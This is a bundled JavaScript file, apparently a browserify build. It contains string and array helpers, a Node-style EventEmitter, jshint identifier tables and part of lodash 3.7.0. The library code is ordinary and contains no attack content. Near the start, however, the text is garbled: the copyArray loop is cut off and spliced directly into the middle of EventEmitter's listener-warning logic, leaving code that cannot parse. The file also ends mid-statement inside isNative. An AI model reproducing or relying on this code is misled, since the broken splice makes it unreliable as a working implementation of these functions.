exports.last = function(a) { return a[a.length - 1]; }; exports.stringReverse = function(string) { return string.split("").reverse().join(""); }; exports.stringRepeat = function (string, count) { var result = ''; while (count > 0) { if (count & 1) result += string; if (count >>= 1) string += string; } return result; }; var trimBeginRegexp = /^\s\s*/; var trimEndRegexp = /\s\s*$/; exports.stringTrimLeft = function (string) { return string.replace(trimBeginRegexp, ''); }; exports.stringTrimRight = function (string) { return string.replace(trimEndRegexp, ''); }; exports.copyObject = function(obj) { var copy = {}; for (var key in obj) { copy[key] = obj[key]; } return copy; }; exports.copyArray = function(array){ var copy = []; for (var i=0, l=array.length; i 0 && this._events[type].length > m) { this._events[type].warned = true; console.error('(node) warning: possible EventEmitter memory ' + 'leak detected. %d listeners added. ' + 'Use emitter.setMaxListeners() to increase limit.', this._events[type].length); if (typeof console.trace === 'function') { console.trace(); } } } return this; }; EventEmitter.prototype.on = EventEmitter.prototype.addListener; EventEmitter.prototype.once = function(type, listener) { if (!isFunction(listener)) throw TypeError('listener must be a function'); var fired = false; function g() { this.removeListener(type, g); if (!fired) { fired = true; listener.apply(this, arguments); } } g.listener = listener; this.on(type, g); return this; }; EventEmitter.prototype.removeListener = function(type, listener) { var list, position, length, i; if (!isFunction(listener)) throw TypeError('listener must be a function'); if (!this._events || !this._events[type]) return this; list = this._events[type]; length = list.length; position = -1; if (list === listener || (isFunction(list.listener) && list.listener === listener)) { delete this._events[type]; if (this._events.removeListener) this.emit('removeListener', type, listener); } else if (isObject(list)) { for (i = length; i-- > 0;) { if (list[i] === listener || (list[i].listener && list[i].listener === listener)) { position = i; break; } } if (position < 0) return this; if (list.length === 1) { list.length = 0; delete this._events[type]; } else { list.splice(position, 1); } if (this._events.removeListener) this.emit('removeListener', type, listener); } return this; }; EventEmitter.prototype.removeAllListeners = function(type) { var key, listeners; if (!this._events) return this; if (!this._events.removeListener) { if (arguments.length === 0) this._events = {}; else if (this._events[type]) delete this._events[type]; return this; } if (arguments.length === 0) { for (key in this._events) { if (key === 'removeListener') continue; this.removeAllListeners(key); } this.removeAllListeners('removeListener'); this._events = {}; return this; } listeners = this._events[type]; if (isFunction(listeners)) { this.removeListener(type, listeners); } else { while (listeners.length) this.removeListener(type, listeners[listeners.length - 1]); } delete this._events[type]; return this; }; EventEmitter.prototype.listeners = function(type) { var ret; if (!this._events || !this._events[type]) ret = []; else if (isFunction(this._events[type])) ret = [this._events[type]]; else ret = this._events[type].slice(); return ret; }; EventEmitter.listenerCount = function(emitter, type) { var ret; if (!emitter._events || !emitter._events[type]) ret = 0; else if (isFunction(emitter._events[type])) ret = 1; else ret = emitter._events[type].length; return ret; }; function isFunction(arg) { return typeof arg === 'function'; } function isNumber(arg) { return typeof arg === 'number'; } function isObject(arg) { return typeof arg === 'object' && arg !== null; } function isUndefined(arg) { return arg === void 0; } },{}],"/node_modules/jshint/data/ascii-identifier-data.js":[function(_dereq_,module,exports){ var identifierStartTable = []; for (var i = 0; i < 128; i++) { identifierStartTable[i] = i === 36 || // $ i >= 65 && i <= 90 || // A-Z i === 95 || // _ i >= 97 && i <= 122; // a-z } var identifierPartTable = []; for (var i = 0; i < 128; i++) { identifierPartTable[i] = identifierStartTable[i] || // $, _, A-Z, a-z i >= 48 && i <= 57; // 0-9 } module.exports = { asciiIdentifierStartTable: identifierStartTable, asciiIdentifierPartTable: identifierPartTable }; },{}],"/node_modules/jshint/lodash.js":[function(_dereq_,module,exports){ (function (global){ ;(function() { var undefined; var VERSION = '3.7.0'; var FUNC_ERROR_TEXT = 'Expected a function'; var argsTag = '[object Arguments]', arrayTag = '[object Array]', boolTag = '[object Boolean]', dateTag = '[object Date]', errorTag = '[object Error]', funcTag = '[object Function]', mapTag = '[object Map]', numberTag = '[object Number]', objectTag = '[object Object]', regexpTag = '[object RegExp]', setTag = '[object Set]', stringTag = '[object String]', weakMapTag = '[object WeakMap]'; var arrayBufferTag = '[object ArrayBuffer]', float32Tag = '[object Float32Array]', float64Tag = '[object Float64Array]', int8Tag = '[object Int8Array]', int16Tag = '[object Int16Array]', int32Tag = '[object Int32Array]', uint8Tag = '[object Uint8Array]', uint8ClampedTag = '[object Uint8ClampedArray]', uint16Tag = '[object Uint16Array]', uint32Tag = '[object Uint32Array]'; var reIsDeepProp = /\.|\[(?:[^[\]]+|(["'])(?:(?!\1)[^\n\\]|\\.)*?)\1\]/, reIsPlainProp = /^\w*$/, rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\n\\]|\\.)*?)\2)\]/g; var reRegExpChars = /[.*+?^${}()|[\]\/\\]/g, reHasRegExpChars = RegExp(reRegExpChars.source); var reEscapeChar = /\\(\\)?/g; var reFlags = /\w*$/; var reIsHostCtor = /^\[object .+?Constructor\]$/; var typedArrayTags = {}; typedArrayTags[float32Tag] = typedArrayTags[float64Tag] = typedArrayTags[int8Tag] = typedArrayTags[int16Tag] = typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] = typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] = typedArrayTags[uint32Tag] = true; typedArrayTags[argsTag] = typedArrayTags[arrayTag] = typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] = typedArrayTags[dateTag] = typedArrayTags[errorTag] = typedArrayTags[funcTag] = typedArrayTags[mapTag] = typedArrayTags[numberTag] = typedArrayTags[objectTag] = typedArrayTags[regexpTag] = typedArrayTags[setTag] = typedArrayTags[stringTag] = typedArrayTags[weakMapTag] = false; var cloneableTags = {}; cloneableTags[argsTag] = cloneableTags[arrayTag] = cloneableTags[arrayBufferTag] = cloneableTags[boolTag] = cloneableTags[dateTag] = cloneableTags[float32Tag] = cloneableTags[float64Tag] = cloneableTags[int8Tag] = cloneableTags[int16Tag] = cloneableTags[int32Tag] = cloneableTags[numberTag] = cloneableTags[objectTag] = cloneableTags[regexpTag] = cloneableTags[stringTag] = cloneableTags[uint8Tag] = cloneableTags[uint8ClampedTag] = cloneableTags[uint16Tag] = cloneableTags[uint32Tag] = true; cloneableTags[errorTag] = cloneableTags[funcTag] = cloneableTags[mapTag] = cloneableTags[setTag] = cloneableTags[weakMapTag] = false; var objectTypes = { 'function': true, 'object': true }; var freeExports = objectTypes[typeof exports] && exports && !exports.nodeType && exports; var freeModule = objectTypes[typeof module] && module && !module.nodeType && module; var freeGlobal = freeExports && freeModule && typeof global == 'object' && global && global.Object && global; var freeSelf = objectTypes[typeof self] && self && self.Object && self; var freeWindow = objectTypes[typeof window] && window && window.Object && window; var moduleExports = freeModule && freeModule.exports === freeExports && freeExports; var root = freeGlobal || ((freeWindow !== (this && this.window)) && freeWindow) || freeSelf || this; function baseFindIndex(array, predicate, fromRight) { var length = array.length, index = fromRight ? length : -1; while ((fromRight ? index-- : ++index < length)) { if (predicate(array[index], index, array)) { return index; } } return -1; } function baseIndexOf(array, value, fromIndex) { if (value !== value) { return indexOfNaN(array, fromIndex); } var index = fromIndex - 1, length = array.length; while (++index < length) { if (array[index] === value) { return index; } } return -1; } function baseIsFunction(value) { return typeof value == 'function' || false; } function baseToString(value) { if (typeof value == 'string') { return value; } return value == null ? '' : (value + ''); } function indexOfNaN(array, fromIndex, fromRight) { var length = array.length, index = fromIndex + (fromRight ? 0 : -1); while ((fromRight ? index-- : ++index < length)) { var other = array[index]; if (other !== other) { return index; } } return -1; } function isObjectLike(value) { return !!value && typeof value == 'object'; } var arrayProto = Array.prototype, objectProto = Object.prototype; var fnToString = Function.prototype.toString; var hasOwnProperty = objectProto.hasOwnProperty; var objToString = objectProto.toString; var reIsNative = RegExp('^' + escapeRegExp(objToString) .replace(/toString|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$' ); var ArrayBuffer = isNative(ArrayBuffer = root.ArrayBuffer) && ArrayBuffer, bufferSlice = isNative(bufferSlice = ArrayBuffer && new ArrayBuffer(0).slice) && bufferSlice, floor = Math.floor, getOwnPropertySymbols = isNative(getOwnPropertySymbols = Object.getOwnPropertySymbols) && getOwnPropertySymbols, getPrototypeOf = isNative(getPrototypeOf = Object.getPrototypeOf) && getPrototypeOf, push = arrayProto.push, preventExtensions = isNative(Object.preventExtensions = Object.preventExtensions) && preventExtensions, propertyIsEnumerable = objectProto.propertyIsEnumerable, Uint8Array = isNative(Uint8Array = root.Uint8Array) && Uint8Array; var Float64Array = (function() { try { var func = isNative(func = root.Float64Array) && func, result = new func(new ArrayBuffer(10), 0, 1) && func; } catch(e) {} return result; }()); var nativeAssign = (function() { var object = { '1': 0 }, func = preventExtensions && isNative(func = Object.assign) && func; try { func(preventExtensions(object), 'xo'); } catch(e) {} return !object[1] && func; }()); var nativeIsArray = isNative(nativeIsArray = Array.isArray) && nativeIsArray, nativeKeys = isNative(nativeKeys = Object.keys) && nativeKeys, nativeMax = Math.max, nativeMin = Math.min; var NEGATIVE_INFINITY = Number.NEGATIVE_INFINITY; var MAX_ARRAY_LENGTH = Math.pow(2, 32) - 1, MAX_ARRAY_INDEX = MAX_ARRAY_LENGTH - 1, HALF_MAX_ARRAY_LENGTH = MAX_ARRAY_LENGTH >>> 1; var FLOAT64_BYTES_PER_ELEMENT = Float64Array ? Float64Array.BYTES_PER_ELEMENT : 0; var MAX_SAFE_INTEGER = Math.pow(2, 53) - 1; function lodash() { } var support = lodash.support = {}; (function(x) { var Ctor = function() { this.x = x; }, object = { '0': x, 'length': x }, props = []; Ctor.prototype = { 'valueOf': x, 'y': x }; for (var key in new Ctor) { props.push(key); } support.funcDecomp = /\bthis\b/.test(function() { return this; }); support.funcNames = typeof Function.name == 'string'; try { support.nonEnumArgs = !propertyIsEnumerable.call(arguments, 1); } catch(e) { support.nonEnumArgs = true; } }(1, 0)); function arrayCopy(source, array) { var index = -1, length = source.length; array || (array = Array(length)); while (++index < length) { array[index] = source[index]; } return array; } function arrayEach(array, iteratee) { var index = -1, length = array.length; while (++index < length) { if (iteratee(array[index], index, array) === false) { break; } } return array; } function arrayFilter(array, predicate) { var index = -1, length = array.length, resIndex = -1, result = []; while (++index < length) { var value = array[index]; if (predicate(value, index, array)) { result[++resIndex] = value; } } return result; } function arrayMap(array, iteratee) { var index = -1, length = array.length, result = Array(length); while (++index < length) { result[index] = iteratee(array[index], index, array); } return result; } function arrayMax(array) { var index = -1, length = array.length, result = NEGATIVE_INFINITY; while (++index < length) { var value = array[index]; if (value > result) { result = value; } } return result; } function arraySome(array, predicate) { var index = -1, length = array.length; while (++index < length) { if (predicate(array[index], index, array)) { return true; } } return false; } function assignWith(object, source, customizer) { var props = keys(source); push.apply(props, getSymbols(source)); var index = -1, length = props.length; while (++index < length) { var key = props[index], value = object[key], result = customizer(value, source[key], key, object, source); if ((result === result ? (result !== value) : (value === value)) || (value === undefined && !(key in object))) { object[key] = result; } } return object; } var baseAssign = nativeAssign || function(object, source) { return source == null ? object : baseCopy(source, getSymbols(source), baseCopy(source, keys(source), object)); }; function baseCopy(source, props, object) { object || (object = {}); var index = -1, length = props.length; while (++index < length) { var key = props[index]; object[key] = source[key]; } return object; } function baseCallback(func, thisArg, argCount) { var type = typeof func; if (type == 'function') { return thisArg === undefined ? func : bindCallback(func, thisArg, argCount); } if (func == null) { return identity; } if (type == 'object') { return baseMatches(func); } return thisArg === undefined ? property(func) : baseMatchesProperty(func, thisArg); } function baseClone(value, isDeep, customizer, key, object, stackA, stackB) { var result; if (customizer) { result = object ? customizer(value, key, object) : customizer(value); } if (result !== undefined) { return result; } if (!isObject(value)) { return value; } var isArr = isArray(value); if (isArr) { result = initCloneArray(value); if (!isDeep) { return arrayCopy(value, result); } } else { var tag = objToString.call(value), isFunc = tag == funcTag; if (tag == objectTag || tag == argsTag || (isFunc && !object)) { result = initCloneObject(isFunc ? {} : value); if (!isDeep) { return baseAssign(result, value); } } else { return cloneableTags[tag] ? initCloneByTag(value, tag, isDeep) : (object ? value : {}); } } stackA || (stackA = []); stackB || (stackB = []); var length = stackA.length; while (length--) { if (stackA[length] == value) { return stackB[length]; } } stackA.push(value); stackB.push(result); (isArr ? arrayEach : baseForOwn)(value, function(subValue, key) { result[key] = baseClone(subValue, isDeep, customizer, key, value, stackA, stackB); }); return result; } var baseEach = createBaseEach(baseForOwn); function baseFilter(collection, predicate) { var result = []; baseEach(collection, function(value, index, collection) { if (predicate(value, index, collection)) { result.push(value); } }); return result; } var baseFor = createBaseFor(); function baseForIn(object, iteratee) { return baseFor(object, iteratee, keysIn); } function baseForOwn(object, iteratee) { return baseFor(object, iteratee, keys); } function baseGet(object, path, pathKey) { if (object == null) { return; } if (pathKey !== undefined && pathKey in toObject(object)) { path = [pathKey]; } var index = -1, length = path.length; while (object != null && ++index < length) { var result = object = object[path[index]]; } return result; } function baseIsEqual(value, other, customizer, isLoose, stackA, stackB) { if (value === other) { return value !== 0 || (1 / value == 1 / other); } var valType = typeof value, othType = typeof other; if ((valType != 'function' && valType != 'object' && othType != 'function' && othType != 'object') || value == null || other == null) { return value !== value && other !== other; } return baseIsEqualDeep(value, other, baseIsEqual, customizer, isLoose, stackA, stackB); } function baseIsEqualDeep(object, other, equalFunc, customizer, isLoose, stackA, stackB) { var objIsArr = isArray(object), othIsArr = isArray(other), objTag = arrayTag, othTag = arrayTag; if (!objIsArr) { objTag = objToString.call(object); if (objTag == argsTag) { objTag = objectTag; } else if (objTag != objectTag) { objIsArr = isTypedArray(object); } } if (!othIsArr) { othTag = objToString.call(other); if (othTag == argsTag) { othTag = objectTag; } else if (othTag != objectTag) { othIsArr = isTypedArray(other); } } var objIsObj = objTag == objectTag, othIsObj = othTag == objectTag, isSameTag = objTag == othTag; if (isSameTag && !(objIsArr || objIsObj)) { return equalByTag(object, other, objTag); } if (!isLoose) { var valWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'), othWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__'); if (valWrapped || othWrapped) { return equalFunc(valWrapped ? object.value() : object, othWrapped ? other.value() : other, customizer, isLoose, stackA, stackB); } } if (!isSameTag) { return false; } stackA || (stackA = []); stackB || (stackB = []); var length = stackA.length; while (length--) { if (stackA[length] == object) { return stackB[length] == other; } } stackA.push(object); stackB.push(other); var result = (objIsArr ? equalArrays : equalObjects)(object, other, equalFunc, customizer, isLoose, stackA, stackB); stackA.pop(); stackB.pop(); return result; } function baseIsMatch(object, props, values, strictCompareFlags, customizer) { var index = -1, length = props.length, noCustomizer = !customizer; while (++index < length) { if ((noCustomizer && strictCompareFlags[index]) ? values[index] !== object[props[index]] : !(props[index] in object) ) { return false; } } index = -1; while (++index < length) { var key = props[index], objValue = object[key], srcValue = values[index]; if (noCustomizer && strictCompareFlags[index]) { var result = objValue !== undefined || (key in object); } else { result = customizer ? customizer(objValue, srcValue, key) : undefined; if (result === undefined) { result = baseIsEqual(srcValue, objValue, customizer, true); } } if (!result) { return false; } } return true; } function baseMatches(source) { var props = keys(source), length = props.length; if (!length) { return constant(true); } if (length == 1) { var key = props[0], value = source[key]; if (isStrictComparable(value)) { return function(object) { if (object == null) { return false; } return object[key] === value && (value !== undefined || (key in toObject(object))); }; } } var values = Array(length), strictCompareFlags = Array(length); while (length--) { value = source[props[length]]; values[length] = value; strictCompareFlags[length] = isStrictComparable(value); } return function(object) { return object != null && baseIsMatch(toObject(object), props, values, strictCompareFlags); }; } function baseMatchesProperty(path, value) { var isArr = isArray(path), isCommon = isKey(path) && isStrictComparable(value), pathKey = (path + ''); path = toPath(path); return function(object) { if (object == null) { return false; } var key = pathKey; object = toObject(object); if ((isArr || !isCommon) && !(key in object)) { object = path.length == 1 ? object : baseGet(object, baseSlice(path, 0, -1)); if (object == null) { return false; } key = last(path); object = toObject(object); } return object[key] === value ? (value !== undefined || (key in object)) : baseIsEqual(value, object[key], null, true); }; } function baseMerge(object, source, customizer, stackA, stackB) { if (!isObject(object)) { return object; } var isSrcArr = isLength(source.length) && (isArray(source) || isTypedArray(source)); if (!isSrcArr) { var props = keys(source); push.apply(props, getSymbols(source)); } arrayEach(props || source, function(srcValue, key) { if (props) { key = srcValue; srcValue = source[key]; } if (isObjectLike(srcValue)) { stackA || (stackA = []); stackB || (stackB = []); baseMergeDeep(object, source, key, baseMerge, customizer, stackA, stackB); } else { var value = object[key], result = customizer ? customizer(value, srcValue, key, object, source) : undefined, isCommon = result === undefined; if (isCommon) { result = srcValue; } if ((isSrcArr || result !== undefined) && (isCommon || (result === result ? (result !== value) : (value === value)))) { object[key] = result; } } }); return object; } function baseMergeDeep(object, source, key, mergeFunc, customizer, stackA, stackB) { var length = stackA.length, srcValue = source[key]; while (length--) { if (stackA[length] == srcValue) { object[key] = stackB[length]; return; } } var value = object[key], result = customizer ? customizer(value, srcValue, key, object, source) : undefined, isCommon = result === undefined; if (isCommon) { result = srcValue; if (isLength(srcValue.length) && (isArray(srcValue) || isTypedArray(srcValue))) { result = isArray(value) ? value : (getLength(value) ? arrayCopy(value) : []); } else if (isPlainObject(srcValue) || isArguments(srcValue)) { result = isArguments(value) ? toPlainObject(value) : (isPlainObject(value) ? value : {}); } else { isCommon = false; } } stackA.push(srcValue); stackB.push(result); if (isCommon) { object[key] = mergeFunc(result, srcValue, customizer, stackA, stackB); } else if (result === result ? (result !== value) : (value === value)) { object[key] = result; } } function baseProperty(key) { return function(object) { return object == null ? undefined : object[key]; }; } function basePropertyDeep(path) { var pathKey = (path + ''); path = toPath(path); return function(object) { return baseGet(object, path, pathKey); }; } function baseSlice(array, start, end) { var index = -1, length = array.length; start = start == null ? 0 : (+start || 0); if (start < 0) { start = -start > length ? 0 : (length + start); } end = (end === undefined || end > length) ? length : (+end || 0); if (end < 0) { end += length; } length = start > end ? 0 : ((end - start) >>> 0); start >>>= 0; var result = Array(length); while (++index < length) { result[index] = array[index + start]; } return result; } function baseSome(collection, predicate) { var result; baseEach(collection, function(value, index, collection) { result = predicate(value, index, collection); return !result; }); return !!result; } function baseValues(object, props) { var index = -1, length = props.length, result = Array(length); while (++index < length) { result[index] = object[props[index]]; } return result; } function binaryIndex(array, value, retHighest) { var low = 0, high = array ? array.length : low; if (typeof value == 'number' && value === value && high <= HALF_MAX_ARRAY_LENGTH) { while (low < high) { var mid = (low + high) >>> 1, computed = array[mid]; if (retHighest ? (computed <= value) : (computed < value)) { low = mid + 1; } else { high = mid; } } return high; } return binaryIndexBy(array, value, identity, retHighest); } function binaryIndexBy(array, value, iteratee, retHighest) { value = iteratee(value); var low = 0, high = array ? array.length : 0, valIsNaN = value !== value, valIsUndef = value === undefined; while (low < high) { var mid = floor((low + high) / 2), computed = iteratee(array[mid]), isReflexive = computed === computed; if (valIsNaN) { var setLow = isReflexive || retHighest; } else if (valIsUndef) { setLow = isReflexive && (retHighest || computed !== undefined); } else { setLow = retHighest ? (computed <= value) : (computed < value); } if (setLow) { low = mid + 1; } else { high = mid; } } return nativeMin(high, MAX_ARRAY_INDEX); } function bindCallback(func, thisArg, argCount) { if (typeof func != 'function') { return identity; } if (thisArg === undefined) { return func; } switch (argCount) { case 1: return function(value) { return func.call(thisArg, value); }; case 3: return function(value, index, collection) { return func.call(thisArg, value, index, collection); }; case 4: return function(accumulator, value, index, collection) { return func.call(thisArg, accumulator, value, index, collection); }; case 5: return function(value, other, key, object, source) { return func.call(thisArg, value, other, key, object, source); }; } return function() { return func.apply(thisArg, arguments); }; } function bufferClone(buffer) { return bufferSlice.call(buffer, 0); } if (!bufferSlice) { bufferClone = !(ArrayBuffer && Uint8Array) ? constant(null) : function(buffer) { var byteLength = buffer.byteLength, floatLength = Float64Array ? floor(byteLength / FLOAT64_BYTES_PER_ELEMENT) : 0, offset = floatLength * FLOAT64_BYTES_PER_ELEMENT, result = new ArrayBuffer(byteLength); if (floatLength) { var view = new Float64Array(result, 0, floatLength); view.set(new Float64Array(buffer, 0, floatLength)); } if (byteLength != offset) { view = new Uint8Array(result, offset); view.set(new Uint8Array(buffer, offset)); } return result; }; } function createAssigner(assigner) { return restParam(function(object, sources) { var index = -1, length = object == null ? 0 : sources.length, customizer = length > 2 && sources[length - 2], guard = length > 2 && sources[2], thisArg = length > 1 && sources[length - 1]; if (typeof customizer == 'function') { customizer = bindCallback(customizer, thisArg, 5); length -= 2; } else { customizer = typeof thisArg == 'function' ? thisArg : null; length -= (customizer ? 1 : 0); } if (guard && isIterateeCall(sources[0], sources[1], guard)) { customizer = length < 3 ? null : customizer; length = 1; } while (++index < length) { var source = sources[index]; if (source) { assigner(object, source, customizer); } } return object; }); } function createBaseEach(eachFunc, fromRight) { return function(collection, iteratee) { var length = collection ? getLength(collection) : 0; if (!isLength(length)) { return eachFunc(collection, iteratee); } var index = fromRight ? length : -1, iterable = toObject(collection); while ((fromRight ? index-- : ++index < length)) { if (iteratee(iterable[index], index, iterable) === false) { break; } } return collection; }; } function createBaseFor(fromRight) { return function(object, iteratee, keysFunc) { var iterable = toObject(object), props = keysFunc(object), length = props.length, index = fromRight ? length : -1; while ((fromRight ? index-- : ++index < length)) { var key = props[index]; if (iteratee(iterable[key], key, iterable) === false) { break; } } return object; }; } function createFindIndex(fromRight) { return function(array, predicate, thisArg) { if (!(array && array.length)) { return -1; } predicate = getCallback(predicate, thisArg, 3); return baseFindIndex(array, predicate, fromRight); }; } function createForEach(arrayFunc, eachFunc) { return function(collection, iteratee, thisArg) { return (typeof iteratee == 'function' && thisArg === undefined && isArray(collection)) ? arrayFunc(collection, iteratee) : eachFunc(collection, bindCallback(iteratee, thisArg, 3)); }; } function equalArrays(array, other, equalFunc, customizer, isLoose, stackA, stackB) { var index = -1, arrLength = array.length, othLength = other.length, result = true; if (arrLength != othLength && !(isLoose && othLength > arrLength)) { return false; } while (result && ++index < arrLength) { var arrValue = array[index], othValue = other[index]; result = undefined; if (customizer) { result = isLoose ? customizer(othValue, arrValue, index) : customizer(arrValue, othValue, index); } if (result === undefined) { if (isLoose) { var othIndex = othLength; while (othIndex--) { othValue = other[othIndex]; result = (arrValue && arrValue === othValue) || equalFunc(arrValue, othValue, customizer, isLoose, stackA, stackB); if (result) { break; } } } else { result = (arrValue && arrValue === othValue) || equalFunc(arrValue, othValue, customizer, isLoose, stackA, stackB); } } } return !!result; } function equalByTag(object, other, tag) { switch (tag) { case boolTag: case dateTag: return +object == +other; case errorTag: return object.name == other.name && object.message == other.message; case numberTag: return (object != +object) ? other != +other : (object == 0 ? ((1 / object) == (1 / other)) : object == +other); case regexpTag: case stringTag: return object == (other + ''); } return false; } function equalObjects(object, other, equalFunc, customizer, isLoose, stackA, stackB) { var objProps = keys(object), objLength = objProps.length, othProps = keys(other), othLength = othProps.length; if (objLength != othLength && !isLoose) { return false; } var skipCtor = isLoose, index = -1; while (++index < objLength) { var key = objProps[index], result = isLoose ? key in other : hasOwnProperty.call(other, key); if (result) { var objValue = object[key], othValue = other[key]; result = undefined; if (customizer) { result = isLoose ? customizer(othValue, objValue, key) : customizer(objValue, othValue, key); } if (result === undefined) { result = (objValue && objValue === othValue) || equalFunc(objValue, othValue, customizer, isLoose, stackA, stackB); } } if (!result) { return false; } skipCtor || (skipCtor = key == 'constructor'); } if (!skipCtor) { var objCtor = object.constructor, othCtor = other.constructor; if (objCtor != othCtor && ('constructor' in object && 'constructor' in other) && !(typeof objCtor == 'function' && objCtor instanceof objCtor && typeof othCtor == 'function' && othCtor instanceof othCtor)) { return false; } } return true; } function getCallback(func, thisArg, argCount) { var result = lodash.callback || callback; result = result === callback ? baseCallback : result; return argCount ? result(func, thisArg, argCount) : result; } function getIndexOf(collection, target, fromIndex) { var result = lodash.indexOf || indexOf; result = result === indexOf ? baseIndexOf : result; return collection ? result(collection, target, fromIndex) : result; } var getLength = baseProperty('length'); var getSymbols = !getOwnPropertySymbols ? constant([]) : function(object) { return getOwnPropertySymbols(toObject(object)); }; function initCloneArray(array) { var length = array.length, result = new array.constructor(length); if (length && typeof array[0] == 'string' && hasOwnProperty.call(array, 'index')) { result.index = array.index; result.input = array.input; } return result; } function initCloneObject(object) { var Ctor = object.constructor; if (!(typeof Ctor == 'function' && Ctor instanceof Ctor)) { Ctor = Object; } return new Ctor; } function initCloneByTag(object, tag, isDeep) { var Ctor = object.constructor; switch (tag) { case arrayBufferTag: return bufferClone(object); case boolTag: case dateTag: return new Ctor(+object); case float32Tag: case float64Tag: case int8Tag: case int16Tag: case int32Tag: case uint8Tag: case uint8ClampedTag: case uint16Tag: case uint32Tag: var buffer = object.buffer; return new Ctor(isDeep ? bufferClone(buffer) : buffer, object.byteOffset, object.length); case numberTag: case stringTag: return new Ctor(object); case regexpTag: var result = new Ctor(object.source, reFlags.exec(object)); result.lastIndex = object.lastIndex; } return result; } function isIndex(value, length) { value = +value; length = length == null ? MAX_SAFE_INTEGER : length; return value > -1 && value % 1 == 0 && value < length; } function isIterateeCall(value, index, object) { if (!isObject(object)) { return false; } var type = typeof index; if (type == 'number') { var length = getLength(object), prereq = isLength(length) && isIndex(index, length); } else { prereq = type == 'string' && index in object; } if (prereq) { var other = object[index]; return value === value ? (value === other) : (other !== other); } return false; } function isKey(value, object) { var type = typeof value; if ((type == 'string' && reIsPlainProp.test(value)) || type == 'number') { return true; } if (isArray(value)) { return false; } var result = !reIsDeepProp.test(value); return result || (object != null && value in toObject(object)); } function isLength(value) { return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER; } function isStrictComparable(value) { return value === value && (value === 0 ? ((1 / value) > 0) : !isObject(value)); } function shimIsPlainObject(value) { var Ctor, support = lodash.support; if (!(isObjectLike(value) && objToString.call(value) == objectTag) || (!hasOwnProperty.call(value, 'constructor') && (Ctor = value.constructor, typeof Ctor == 'function' && !(Ctor instanceof Ctor)))) { return false; } var result; baseForIn(value, function(subValue, key) { result = key; }); return result === undefined || hasOwnProperty.call(value, result); } function shimKeys(object) { var props = keysIn(object), propsLength = props.length, length = propsLength && object.length, support = lodash.support; var allowIndexes = length && isLength(length) && (isArray(object) || (support.nonEnumArgs && isArguments(object))); var index = -1, result = []; while (++index < propsLength) { var key = props[index]; if ((allowIndexes && isIndex(key, length)) || hasOwnProperty.call(object, key)) { result.push(key); } } return result; } function toObject(value) { return isObject(value) ? value : Object(value); } function toPath(value) { if (isArray(value)) { return value; } var result = []; baseToString(value).replace(rePropName, function(match, number, quote, string) { result.push(quote ? string.replace(reEscapeChar, '$1') : (number || match)); }); return result; } var findLastIndex = createFindIndex(true); function indexOf(array, value, fromIndex) { var length = array ? array.length : 0; if (!length) { return -1; } if (typeof fromIndex == 'number') { fromIndex = fromIndex < 0 ? nativeMax(length + fromIndex, 0) : fromIndex; } else if (fromIndex) { var index = binaryIndex(array, value), other = array[index]; if (value === value ? (value === other) : (other !== other)) { return index; } return -1; } return baseIndexOf(array, value, fromIndex || 0); } function last(array) { var length = array ? array.length : 0; return length ? array[length - 1] : undefined; } function slice(array, start, end) { var length = array ? array.length : 0; if (!length) { return []; } if (end && typeof end != 'number' && isIterateeCall(array, start, end)) { start = 0; end = length; } return baseSlice(array, start, end); } function unzip(array) { var index = -1, length = (array && array.length && arrayMax(arrayMap(array, getLength))) >>> 0, result = Array(length); while (++index < length) { result[index] = arrayMap(array, baseProperty(index)); } return result; } var zip = restParam(unzip); var forEach = createForEach(arrayEach, baseEach); function includes(collection, target, fromIndex, guard) { var length = collection ? getLength(collection) : 0; if (!isLength(length)) { collection = values(collection); length = collection.length; } if (!length) { return false; } if (typeof fromIndex != 'number' || (guard && isIterateeCall(target, fromIndex, guard))) { fromIndex = 0; } else { fromIndex = fromIndex < 0 ? nativeMax(length + fromIndex, 0) : (fromIndex || 0); } return (typeof collection == 'string' || !isArray(collection) && isString(collection)) ? (fromIndex < length && collection.indexOf(target, fromIndex) > -1) : (getIndexOf(collection, target, fromIndex) > -1); } function reject(collection, predicate, thisArg) { var func = isArray(collection) ? arrayFilter : baseFilter; predicate = getCallback(predicate, thisArg, 3); return func(collection, function(value, index, collection) { return !predicate(value, index, collection); }); } function some(collection, predicate, thisArg) { var func = isArray(collection) ? arraySome : baseSome; if (thisArg && isIterateeCall(collection, predicate, thisArg)) { predicate = null; } if (typeof predicate != 'function' || thisArg !== undefined) { predicate = getCallback(predicate, thisArg, 3); } return func(collection, predicate); } function restParam(func, start) { if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } start = nativeMax(start === undefined ? (func.length - 1) : (+start || 0), 0); return function() { var args = arguments, index = -1, length = nativeMax(args.length - start, 0), rest = Array(length); while (++index < length) { rest[index] = args[start + index]; } switch (start) { case 0: return func.call(this, rest); case 1: return func.call(this, args[0], rest); case 2: return func.call(this, args[0], args[1], rest); } var otherArgs = Array(start + 1); index = -1; while (++index < start) { otherArgs[index] = args[index]; } otherArgs[start] = rest; return func.apply(this, otherArgs); }; } function clone(value, isDeep, customizer, thisArg) { if (isDeep && typeof isDeep != 'boolean' && isIterateeCall(value, isDeep, customizer)) { isDeep = false; } else if (typeof isDeep == 'function') { thisArg = customizer; customizer = isDeep; isDeep = false; } customizer = typeof customizer == 'function' && bindCallback(customizer, thisArg, 1); return baseClone(value, isDeep, customizer); } function isArguments(value) { var length = isObjectLike(value) ? value.length : undefined; return isLength(length) && objToString.call(value) == argsTag; } var isArray = nativeIsArray || function(value) { return isObjectLike(value) && isLength(value.length) && objToString.call(value) == arrayTag; }; function isEmpty(value) { if (value == null) { return true; } var length = getLength(value); if (isLength(length) && (isArray(value) || isString(value) || isArguments(value) || (isObjectLike(value) && isFunction(value.splice)))) { return !length; } return !keys(value).length; } var isFunction = !(baseIsFunction(/x/) || (Uint8Array && !baseIsFunction(Uint8Array))) ? baseIsFunction : function(value) { return objToString.call(value) == funcTag; }; function isObject(value) { var type = typeof value; return type == 'function' || (!!value && type == 'object'); } function isNative(value) { if (value == null) { return false; } if (objToString.call(value) == funcTag) { return reIsNative.test(fnToString.call(value)); } return 